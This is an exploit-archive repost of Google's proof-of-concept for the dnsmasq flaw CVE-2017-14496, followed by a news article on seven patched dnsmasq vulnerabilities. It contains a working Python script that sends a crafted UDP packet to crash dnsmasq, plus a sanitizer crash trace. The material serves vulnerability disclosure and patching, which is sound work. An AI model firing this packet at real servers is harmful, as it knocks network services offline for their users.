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Author: Google Security Research | Category: dos/poc | Platform: multiple Date add: 02-10-2017 | Risk: [Security Risk Medium] | 0day-ID: 0day-ID-28727 | CVE: CVE-2017-14496 ''' Sources: https://raw.githubusercontent.com/google/security-research-pocs/master/vulnerabilities/dnsmasq/CVE-2017-14496.py https://security.googleblog.com/2017/10/behind-masq-yet-more-dns-and-dhcp.html dnsmasq is vulnerable only if one of the following option is specified: --add-mac, --add-cpe-id or --add-subnet. ================================================================= ==2215==ERROR: AddressSanitizer: negative-size-param: (size=-4) #0 0x4b55be in __asan_memcpy (/test/dnsmasq/src/dnsmasq+0x4b55be) #1 0x59a70e in add_pseudoheader /test/dnsmasq/src/edns0.c:164:8 #2 0x59bae8 in add_edns0_config /test/dnsmasq/src/edns0.c:424:12 #3 0x530b6b in forward_query /test/dnsmasq/src/forward.c:407:20 #4 0x534699 in receive_query /test/dnsmasq/src/forward.c:1448:16 #5 0x548486 in check_dns_listeners /test/dnsmasq/src/dnsmasq.c:1565:2 #6 0x5448b6 in main /test/dnsmasq/src/dnsmasq.c:1044:7 #7 0x7fb05e3cf2b0 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x202b0) #8 0x41cbe9 in _start (/test/dnsmasq/src/dnsmasq+0x41cbe9) 0x62200001ca2e is located 302 bytes inside of 5131-byte region [0x62200001c900,0x62200001dd0b) allocated by thread T0 here: #0 0x4cc700 in calloc (/test/dnsmasq/src/dnsmasq+0x4cc700) #1 0x5181b5 in safe_malloc /test/dnsmasq/src/util.c:267:15 #2 0x54186c in main /test/dnsmasq/src/dnsmasq.c:99:20 #3 0x7fb05e3cf2b0 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x202b0) SUMMARY: AddressSanitizer: negative-size-param (/test/dnsmasq/src/dnsmasq+0x4b55be) in __asan_memcpy ==2215==ABORTING ''' #!/usr/bin/python # # Copyright 2017 Google Inc # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # # Authors: # Fermin J. Serna <fjserna@google.com> # Felix Wilhelm <fwilhelm@google.com> # Gabriel Campana <gbrl@google.com> # Kevin Hamacher <hamacher@google.com> # Gynvael Coldwin <gynvael@google.com> # Ron Bowes - Xoogler :/ import socket import sys def negative_size_param(): data = '''00 00 00 00 00 00 00 00 00 00 00 04 00 00 29 00 00 3a 00 00 00 01 13 fe 32 01 13 79 00 00 00 00 00 00 00 01 00 00 00 61 00 08 08 08 08 08 08 08 08 08 08 08 08 08 08 00 00 00 00 00 00 00 00 6f 29 fb ff ff ff 00 00 00 00 00 00 00 00 00 03 00 00 00 00 00 00 00 00 02 8d 00 00 00 f9 00 00 00 00 00 00 00 00 00 00 00 5c 00 00 00 01 ff ff 00 35 13 01 0d 06 1b 00 00 00 00 00 00 00 00 00 00 00 04 00 00 29 00 00 3a 00 00 00 01 13 00 08 01 00 00 00 00 00 00 01 00 00 00 61 00 08 08 08 08 08 08 08 08 08 13 08 08 08 00 00 00 00 00 00 00 00 00 6f 29 fb ff ff ff 00 29 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 02 8d 00 00 00 f9 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 01 ff ff 00 35 13 00 00 00 00 00 b6 00 00 13 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 61 05 01 20 00 01 '''.replace(' ', '').replace('\n', '').decode('hex') return data if __name__ == '__main__': if len(sys.argv) != 3: print 'Usage: %s <ip> <port>' % sys.argv[0] sys.exit(0) ip = sys.argv[1] port = int(sys.argv[2]) packet = negative_size_param() s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) s.setsockopt(socket.SOL_SOCKET,socket.SO_BROADCAST, 1) s.sendto(packet, (ip, port)) s.close() # 0day.today [2017-10-03] # Source: 0day.today

Security researchers have discovered not one or two, but a total of seven security vulnerabilities in the popular open source Dnsmasq network services software, three of which could allow remote code execution on a vulnerable system and hijack it. Dnsmasq is a widely used lightweight network application tool designed to provide DNS (Domain Name System) forwarder, DHCP (Dynamic Host Configuration Protocol) server, router ads and network boot services for small networks. Dnsmasq comes pre-installed on various devices and operating systems, including Linux distributions such as Ubuntu and Debian, home routers, smartphones and Internet of Things (IoT) devices. A shodan scan for "Dnsmasq" reveals around 1.1 million instances worldwide. Recently, Google's security team reviewed Dnsmasq and discovered seven security issues, including DNS-related remote code execution, information disclosure, and denial-of-service (DoS) issues that can be triggered via DNS or DHCP. Since the vulnerabilities have now been patched by Dnsmasq developer and maintainer Simon Kelley, Google researchers have released details and proof-of-concept (PoC) exploit code for each of the vulnerabilities. Out of seven vulnerabilities discovered by the team, three can be exploited to perform remote code execution, three can be used in denial of service attacks, and one information leakage flaw. Here's the List of All Vulnerabilities: CVE-2017-14491—A DNS-based remote code execution vulnerability in Dnsmasq versions before 2.76 is marked as the most severe that allows for unrestricted heap overflows, affecting both directly exposed and internal network setups. CVE-2017-14492—Another remote code execution vulnerability due to a DHCP-based heap overflow issue. CVE-2017-14493—Another noteworthy DHCP-based remote code execution bug caused by a stack buffer overflow. According to Google, this flaw is trivial to exploit if it's used in conjunction with the flaw (CVE-2017-14494) mentioned below. CVE-2017-14494—An information leak in DHCP which can be combined with CVE-2017-14493 to allow attackers bypass ASLR security mechanism and execute arbitrary code on a target system. CVE-2017-14495—A flaw in Dnsmasq which can be exploited to launch a denial of service (DoS) attack by exhausting memory via DNS. The flaw impacts dnsmasq only if one of these options is used: --add-mac, --add-cpe-id or --add-subnet. CVE-2017-14496—Google's Android operating system is specifically affected by this DoS issue which can be exploited by a local hacker or one who is tethered directly to the device. However, Google pointed out the service itself is sandboxed, so the risk to Android users is reduced. CVE-2017-14497—Another DoS issue wherein a large DNS query can crash the software. Since all the issues have already been addressed with the release of Dnsmasq 2.78, Dnsmasq users are advised to update their installations as soon as possible. To patch your devices, make sure to upgrade packages on your system. Google has updated its affected services and released the security fixes to Android partners on 5 September 2017 in October's Android security updates. Other affected Google services are also claimed to be updated. Kubernetes versions 1.5.8, 1.6.11, 1.7.7, and 1.8.0 have also been updated with a patched Dnsmasq. Via https://thehackernews.com/2017/10/dnsmasq-network-services.html